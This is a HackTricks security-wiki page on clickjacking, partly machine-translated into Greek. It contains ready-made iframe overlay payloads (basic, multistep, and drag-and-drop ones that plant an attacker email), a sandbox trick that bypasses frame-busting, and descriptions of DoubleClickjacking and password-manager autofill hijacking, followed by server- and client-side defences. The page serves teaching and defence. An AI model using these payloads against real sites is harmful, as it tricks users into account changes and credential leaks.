Clickjacking
Reading time: 9 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Τι είναι το Clickjacking
Σε μια επίθεση clickjacking, ένας user tricked ώστε να clicking σε ένα element σε μια ιστοσελίδα που είναι είτε invisible είτε εμφανίζεται ως διαφορετικό στοιχείο. Αυτή η χειραγώγηση μπορεί να οδηγήσει σε ανεπιθύμητες συνέπειες για τον χρήστη, όπως η λήψη malware, η ανακατεύθυνση σε κακόβουλες ιστοσελίδες, η παροχή credentials ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή η αγορά προϊόντων online.
Prepopulate forms trick
Μερικές φορές είναι δυνατόν να fill the value of fields of a form using GET parameters when loading a page. Ένας attacker μπορεί να καταχραστεί αυτή τη συμπεριφορά για να συμπληρώσει μια φόρμα με αυθαίρετα δεδομένα και να στείλει το clickjacking payload ώστε ο user να πατήσει το κουμπί Submit.
Populate form with Drag&Drop
Αν χρειάζεστε ο user να fill a form αλλά δεν θέλετε να του ζητήσετε απευθείας να γράψει συγκεκριμένες πληροφορίες (όπως το email ή κάποιο συγκεκριμένο password που γνωρίζετε), μπορείτε απλώς να του ζητήσετε να Drag&Drop κάτι που θα γράψει τα ελεγχόμενα δεδομένα σας όπως σε this example.
Basic Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Πολυσταδιακό Payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
If you have identified an XSS attack that requires a user to click on some element to trigger the XSS and the page is vulnerable to clickjacking, you could abuse it to trick the user into clicking the button/link.
Παράδειγμα:
Βρήκατε μια self XSS σε κάποιες ιδιωτικές πληροφορίες του λογαριασμού (πληροφορίες που μόνο εσείς μπορείτε να ορίσετε και να διαβάσετε). Η σελίδα με τη φόρμα για να ορίσετε αυτές τις πληροφορίες είναι ευάλωτη σε Clickjacking και μπορείτε να προγεμίσετε τη φόρμα με τις GET παραμέτρους.
Ένας επιτιθέμενος θα μπορούσε να προετοιμάσει μια επίθεση Clickjacking σε αυτή τη σελίδα προγεμίζοντας τη φόρμα με το XSS payload και ξεγελώντας τον χρήστη να υποβάλει τη φόρμα. Έτσι, όταν υποβληθεί η φόρμα και οι τιμές τροποποιηθούν, ο χρήστης θα εκτελέσει την XSS.
DoubleClickjacking
Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page during the double click so the victim actually clicks a legit button in the victim page.
Ένα παράδειγμα μπορείτε να δείτε σε αυτό το βίντεο: https://www.youtube.com/watch?v=4rGvRRMrD18
Παράδειγμα κώδικα μπορείτε να βρείτε σε this page.
warning
Αυτή η τεχνική επιτρέπει να ξεγελάσετε τον χρήστη ώστε να κάνει κλικ σε ένα σημείο στη σελίδα του θύματος παρακάμπτοντας κάθε προστασία κατά του clickjacking. Επομένως ο επιτιθέμενος πρέπει να βρει ευαίσθητες ενέργειες που μπορούν να γίνουν με μόνο 1 κλικ, όπως οι προτροπές OAuth για αποδοχή δικαιωμάτων.
Browser extensions: DOM-based autofill clickjacking
Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Οι password managers εμφανίζουν autofill dropdowns κοντά σε εστιασμένα inputs· με το να εστιάσετε σε ένα πεδίο που ελέγχεται από τον επιτιθέμενο και να κρύψετε/αποκλείσετε το dropdown της επέκτασης (opacity/overlay/top-layer tricks), ένα εξαναγκασμένο κλικ χρήστη μπορεί να επιλέξει ένα αποθηκευμένο στοιχείο και να γεμίσει ευαίσθητα δεδομένα σε inputs που ελέγχονται από τον επιτιθέμενο. Αυτή η παραλλαγή δεν απαιτεί έκθεση με iframe και λειτουργεί εξολοκλήρου μέσω DOM/CSS manipulation.
- For concrete techniques and PoCs see:
Strategies to Mitigate Clickjacking
Client-Side Defenses
Σκριπτά που εκτελούνται στην πλευρά του πελάτη μπορούν να εκτελέσουν ενέργειες για να αποτρέψουν το Clickjacking:
- Εξασφάλιση ότι το παράθυρο της εφαρμογής είναι το κύριο ή το top window.
- Κάνοντας όλα τα frames ορατά.
- Αποτροπή κλικ σε αόρατα frames.
- Ανίχνευση και ειδοποίηση των χρηστών για πιθανές προσπάθειες Clickjacking.
Ωστόσο, αυτά τα frame-busting scripts μπορεί να παρακαμφθούν:
- Browsers' Security Settings: Ορισμένοι browsers μπορεί να μπλοκάρουν αυτά τα σκριπτά με βάση τις ρυθμίσεις ασφαλείας τους ή την έλλειψη υποστήριξης JavaScript.
- HTML5 iframe sandbox Attribute: Ένας επιτιθέμενος μπορεί να εξουδετερώσει τα frame buster scripts ρυθμίζοντας το sandbox attribute με τις τιμές allow-forms ή allow-scripts χωρίς allow-top-navigation. Αυτό εμποδίζει το iframe να επαληθεύσει αν είναι το top window, π.χ.
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Οι τιμές allow-forms και allow-scripts επιτρέπουν ενέργειες εντός του iframe ενώ απενεργοποιούν την πλοήγηση στο κορυφαίο επίπεδο. Για να εξασφαλιστεί η επιθυμητή λειτουργικότητα του στοχευόμενου site, ενδέχεται να χρειάζονται επιπλέον άδειες όπως allow-same-origin και allow-modals, ανάλογα με τον τύπο της επίθεσης. Τα μηνύματα στην κονσόλα του browser μπορούν να υποδείξουν ποιες άδειες πρέπει να επιτρέψετε.
Server-Side Defenses
X-Frame-Options
Το HTTP response header X-Frame-Options ενημερώνει τους browsers σχετικά με το αν είναι νόμιμο να γίνει render μια σελίδα μέσα σε ή
- X-Frame-Options: deny - No domain can frame the content.
- X-Frame-Options: sameorigin - Only the current site can frame the content.
- X-Frame-Options: allow-from https://trusted.com - Only the specified 'uri' can frame the page.
- Σημειώστε τους περιορισμούς: αν ο browser δεν υποστηρίζει αυτή την οδηγία, μπορεί να μην λειτουργήσει. Ορισμένοι browsers προτιμούν την CSP frame-ancestors directive.
Content Security Policy (CSP) frame-ancestors directive
frame-ancestors directive in CSP είναι ο συνιστώμενος τρόπος για την προστασία από Clickjacking:
- frame-ancestors 'none' - Παρόμοιο με X-Frame-Options: deny.
- frame-ancestors 'self' - Παρόμοιο με X-Frame-Options: sameorigin.
- frame-ancestors trusted.com - Παρόμοιο με X-Frame-Options: allow-from.
For instance, the following CSP only allows framing from the same domain:
Content-Security-Policy: frame-ancestors 'self';
Περαιτέρω λεπτομέρειες και σύνθετα παραδείγματα μπορείτε να βρείτε στο frame-ancestors CSP documentation και στο Mozilla's CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) είναι ένα μέτρο ασφαλείας που βοηθά στην πρόληψη του Clickjacking και άλλων επιθέσεων έγχυσης κώδικα, καθορίζοντας ποιες πηγές επιτρέπεται στον browser να φορτώνουν περιεχόμενο.
frame-src Directive
- Ορίζει έγκυρες πηγές για frames.
- Πιο συγκεκριμένη από την οδηγία default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Αυτή η πολιτική επιτρέπει frames από την ίδια προέλευση (self) και https://trusted-website.com.
child-src Directive
- Εισήχθη στο CSP level 2 για να ορίσει έγκυρες πηγές για web workers και frames.
- Λειτουργεί ως fallback για frame-src και worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Αυτή η πολιτική επιτρέπει frames και workers από την ίδια προέλευση (self) και https://trusted-website.com.
Σημειώσεις Χρήσης:
- Απόσυρση: child-src is being phased out in favor of frame-src and worker-src.
- Συμπεριφορά fallback: Εάν το frame-src απουσιάζει, το child-src χρησιμοποιείται ως fallback για frames. Εάν και τα δύο απουσιάζουν, χρησιμοποιείται το default-src.
- Αυστηρός ορισμός πηγών: Συμπεριλάβετε μόνο αξιόπιστες πηγές στις οδηγίες για να αποτρέψετε την εκμετάλλευση.
JavaScript Frame-Breaking Scripts
Αν και δεν είναι απολύτως αλάνθαστα, JavaScript-based frame-busting scripts μπορούν να χρησιμοποιηθούν για να αποτρέψουν μια σελίδα από το να ενσωματωθεί σε frame. Παράδειγμα:
if (top !== self) {
top.location = self.location
}
Χρήση Anti-CSRF Tokens
- Επικύρωση Token: Χρησιμοποιήστε anti-CSRF tokens σε web εφαρμογές για να διασφαλίσετε ότι τα αιτήματα που αλλάζουν την κατάσταση γίνονται εσκεμμένα από τον χρήστη και όχι μέσω μιας Clickjacked σελίδας.
Αναφορές
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.